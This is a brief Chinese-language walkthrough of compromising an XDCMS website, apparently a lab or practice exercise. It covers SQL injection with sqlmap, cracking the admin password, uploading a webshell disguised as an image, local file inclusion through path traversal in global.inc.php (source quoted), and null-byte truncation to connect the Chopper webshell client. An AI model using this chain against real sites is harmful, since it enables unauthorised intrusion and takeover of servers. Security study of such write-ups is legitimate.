1.利用burpsuite扫描,得到搜索处有注入点记录下http请求放到 txt中。
2.然后sqlmap -r 扫描,跑数据库,管理员用户名xdcms121,密码md5解密得xdcms212.
3.御剑扫描后台得到后台路径/admin/login,登陆后找上传,发现系统设置有logo图片上传,试了下一句话上传,发现图片路劲不更新。找到幻灯片管理还有上传,但是依旧路径没有更新,
巨坑!!!!!!!。
4.尝试用burp的repeater观察文件上传的request和response,在reponse发现了返回的图片路径。尝试访问,可以访问到。
5.上传过滤了格式,图片无法备份成php。查到 通过/system/function/global.inc.php 的参数调用模块,upload 与system同级所以 ../../ 即可访问jpg图片。
url:
xxx.xxx.xxx/index.php?m=../../uploadfile/image/2017.........jpg
global.inc.php:
$m=safe_replace(safe_html(isset($_GET["m"]))) ? safe_replace(safe_html($_GET["m"])) : "content";
$c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index";
$f=safe_replace(safe_html(isset($_GET["f"]))) ? safe_replace(safe_html($_GET["f"])) : "init";
//判断模块是否存在
if(!file_exists(MOD_PATH.$m)){
showmsg(C('module_not_exist'),'/');
}
//判断类文件是否存在
if(!file_exists(MOD_PATH.$m."/".$c.".php")){
showmsg(C('class_not_exist'),'/');
}
include MOD_PATH.$m."/".$c.".php"; //调用类
//判断类是否存在
if(!class_exists($c)){
showmsg(C('class_not_exist'),'/');
}
$p=new $c(); //实例化
$p->$f(); //调用方法
5.菜刀连接url,发现连接不到,因为在后面自动加上了index.php,最后找到通过url后面加上%00截断后方index.php,成功连接。